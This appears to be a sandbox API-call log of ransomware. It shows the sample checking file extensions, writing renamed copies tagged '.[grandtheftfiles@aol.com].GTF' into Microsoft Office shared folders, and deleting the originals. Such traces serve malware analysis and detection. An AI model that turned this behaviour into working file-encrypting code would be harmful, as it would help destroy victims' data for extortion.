	[0088.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0088.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0088.340] lstrlenW (lpString=".doc") returned 4
	[0088.340] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.340] lstrlenW (lpString=".docx") returned 5
	[0088.340] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.340] lstrlenW (lpString=".pdf") returned 4
	[0088.340] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.340] lstrlenW (lpString=".xls") returned 4
	[0088.340] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.340] lstrlenW (lpString=".xlsx") returned 5
	[0088.340] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.340] lstrlenW (lpString=".ppt") returned 4
	[0088.340] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0088.341] lstrlenW (lpString=".zip") returned 4
	[0088.341] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.341] lstrlenW (lpString=".rar") returned 4
	[0088.341] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.341] lstrlenW (lpString=".bz2") returned 4
	[0088.341] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.341] lstrlenW (lpString=".7z") returned 3
	[0088.341] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0088.341] lstrlenW (lpString=".dbf") returned 4
	[0088.341] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0088.341] lstrlenW (lpString=".1cd") returned 4
	[0088.341] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0088.341] lstrlenW (lpString=".jpg") returned 4
	[0088.341] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0088.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0088.341] lstrlenW (lpString=".doc") returned 4
	[0088.341] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.341] lstrlenW (lpString=".docx") returned 5
	[0088.341] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.341] lstrlenW (lpString=".pdf") returned 4
	[0088.341] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.341] lstrlenW (lpString=".xls") returned 4
	[0088.341] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.341] lstrlenW (lpString=".xlsx") returned 5
	[0088.341] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.341] lstrlenW (lpString=".ppt") returned 4
	[0088.341] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0088.341] lstrlenW (lpString=".zip") returned 4
	[0088.341] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.341] lstrlenW (lpString=".rar") returned 4
	[0088.341] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.342] lstrlenW (lpString=".bz2") returned 4
	[0088.342] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.342] lstrlenW (lpString=".7z") returned 3
	[0088.342] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0088.342] lstrlenW (lpString=".dbf") returned 4
	[0088.342] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0088.342] lstrlenW (lpString=".1cd") returned 4
	[0088.342] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0088.342] lstrlenW (lpString=".jpg") returned 4
	[0088.342] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.342] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.342] lstrlenW (lpString="mip.exe.mui") returned 11
	[0088.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.370] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=10752) returned 1
	[0088.370] CloseHandle (hObject=0x378) returned 1
	[0088.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20
	[0088.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0088.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0088.370] lstrlenW (lpString=".doc") returned 4
	[0088.370] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.370] lstrlenW (lpString=".docx") returned 5
	[0088.371] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.371] lstrlenW (lpString=".pdf") returned 4
	[0088.371] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.371] lstrlenW (lpString=".xls") returned 4
	[0088.371] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.371] lstrlenW (lpString=".xlsx") returned 5
	[0088.371] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.371] lstrlenW (lpString=".ppt") returned 4
	[0088.371] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0088.371] lstrlenW (lpString=".zip") returned 4
	[0088.371] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.371] lstrlenW (lpString=".rar") returned 4
	[0088.371] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.371] lstrlenW (lpString=".bz2") returned 4
	[0088.371] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.371] lstrlenW (lpString=".7z") returned 3
	[0088.371] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0088.371] lstrlenW (lpString=".dbf") returned 4
	[0088.371] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0088.371] lstrlenW (lpString=".1cd") returned 4
	[0088.371] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0088.371] lstrlenW (lpString=".jpg") returned 4
	[0088.371] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0088.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0088.371] lstrlenW (lpString=".doc") returned 4
	[0088.371] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.371] lstrlenW (lpString=".docx") returned 5
	[0088.371] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0088.372] lstrlenW (lpString=".pdf") returned 4
	[0088.372] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.372] lstrlenW (lpString=".xls") returned 4
	[0088.372] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.372] lstrlenW (lpString=".xlsx") returned 5
	[0088.372] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0088.372] lstrlenW (lpString=".ppt") returned 4
	[0088.372] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0088.372] lstrlenW (lpString=".zip") returned 4
	[0088.372] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.372] lstrlenW (lpString=".rar") returned 4
	[0088.372] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.372] lstrlenW (lpString=".bz2") returned 4
	[0088.372] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.372] lstrlenW (lpString=".7z") returned 3
	[0088.372] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0088.372] lstrlenW (lpString=".dbf") returned 4
	[0088.372] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0088.372] lstrlenW (lpString=".1cd") returned 4
	[0088.372] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0088.372] lstrlenW (lpString=".jpg") returned 4
	[0088.372] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.372] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.372] lstrlenW (lpString="mshwLatin.dll.mui") returned 17
	[0088.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.374] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=3072) returned 1
	[0088.374] CloseHandle (hObject=0x378) returned 1
	[0088.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20
	[0088.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0088.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0088.375] lstrlenW (lpString=".doc") returned 4
	[0088.375] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.375] lstrlenW (lpString=".docx") returned 5
	[0088.375] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.375] lstrlenW (lpString=".pdf") returned 4
	[0088.375] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.375] lstrlenW (lpString=".xls") returned 4
	[0088.375] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.375] lstrlenW (lpString=".xlsx") returned 5
	[0088.375] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.375] lstrlenW (lpString=".ppt") returned 4
	[0088.375] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0088.375] lstrlenW (lpString=".zip") returned 4
	[0088.375] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.375] lstrlenW (lpString=".rar") returned 4
	[0088.375] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.375] lstrlenW (lpString=".bz2") returned 4
	[0088.375] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.375] lstrlenW (lpString=".7z") returned 3
	[0088.375] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0088.375] lstrlenW (lpString=".dbf") returned 4
	[0088.375] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0088.375] lstrlenW (lpString=".1cd") returned 4
	[0088.375] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0088.375] lstrlenW (lpString=".jpg") returned 4
	[0088.375] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0088.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0088.376] lstrlenW (lpString=".doc") returned 4
	[0088.376] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.376] lstrlenW (lpString=".docx") returned 5
	[0088.376] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.376] lstrlenW (lpString=".pdf") returned 4
	[0088.376] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.376] lstrlenW (lpString=".xls") returned 4
	[0088.376] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.376] lstrlenW (lpString=".xlsx") returned 5
	[0088.376] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.376] lstrlenW (lpString=".ppt") returned 4
	[0088.376] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0088.376] lstrlenW (lpString=".zip") returned 4
	[0088.376] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.376] lstrlenW (lpString=".rar") returned 4
	[0088.376] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.376] lstrlenW (lpString=".bz2") returned 4
	[0088.376] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.376] lstrlenW (lpString=".7z") returned 3
	[0088.376] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0088.376] lstrlenW (lpString=".dbf") returned 4
	[0088.376] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0088.376] lstrlenW (lpString=".1cd") returned 4
	[0088.376] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0088.376] lstrlenW (lpString=".jpg") returned 4
	[0088.376] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.376] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.377] lstrlenW (lpString="rtscom.dll.mui") returned 14
	[0088.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.378] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=3072) returned 1
	[0088.378] CloseHandle (hObject=0x378) returned 1
	[0088.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20
	[0088.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0088.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0088.379] lstrlenW (lpString=".doc") returned 4
	[0088.379] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.379] lstrlenW (lpString=".docx") returned 5
	[0088.379] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.379] lstrlenW (lpString=".pdf") returned 4
	[0088.379] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.379] lstrlenW (lpString=".xls") returned 4
	[0088.379] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.379] lstrlenW (lpString=".xlsx") returned 5
	[0088.379] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.379] lstrlenW (lpString=".ppt") returned 4
	[0088.379] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0088.379] lstrlenW (lpString=".zip") returned 4
	[0088.379] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.379] lstrlenW (lpString=".rar") returned 4
	[0088.379] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.379] lstrlenW (lpString=".bz2") returned 4
	[0088.379] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.379] lstrlenW (lpString=".7z") returned 3
	[0088.379] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0088.379] lstrlenW (lpString=".dbf") returned 4
	[0088.379] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0088.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0088.913] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0088.923] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0088.929] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.929] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.931] GetLastError () returned 0x0
	[0088.931] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x58cd0, lpOverlapped=0x0) returned 1
	[0088.971] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x58ce0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x58ce0, lpOverlapped=0x0) returned 1
	[0088.977] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.977] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0088.977] SetEndOfFile (hFile=0x35c) returned 1
	[0088.978] CloseHandle (hObject=0x35c) returned 1
	[0088.978] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.978] SetEndOfFile (hFile=0x2fc) returned 1
	[0088.982] CloseHandle (hObject=0x2fc) returned 1
	[0088.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0088.982] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 1
	[0088.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0088.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0088.983] lstrlenW (lpString=".doc") returned 4
	[0088.983] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0088.983] lstrlenW (lpString=".docx") returned 5
	[0088.983] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1
	[0088.983] lstrlenW (lpString=".pdf") returned 4
	[0088.983] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0088.983] lstrlenW (lpString=".xls") returned 4
	[0088.983] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0088.983] lstrlenW (lpString=".xlsx") returned 5
	[0088.983] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1
	[0088.983] lstrlenW (lpString=".ppt") returned 4
	[0088.983] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0088.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0088.983] lstrlenW (lpString=".zip") returned 4
	[0088.983] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0088.983] lstrlenW (lpString=".rar") returned 4
	[0088.983] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0088.983] lstrlenW (lpString=".bz2") returned 4
	[0088.983] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0088.983] lstrlenW (lpString=".7z") returned 3
	[0088.983] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0088.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0088.983] lstrlenW (lpString=".dbf") returned 4
	[0088.983] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0088.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0088.983] lstrlenW (lpString=".1cd") returned 4
	[0088.983] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0088.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0088.983] lstrlenW (lpString=".jpg") returned 4
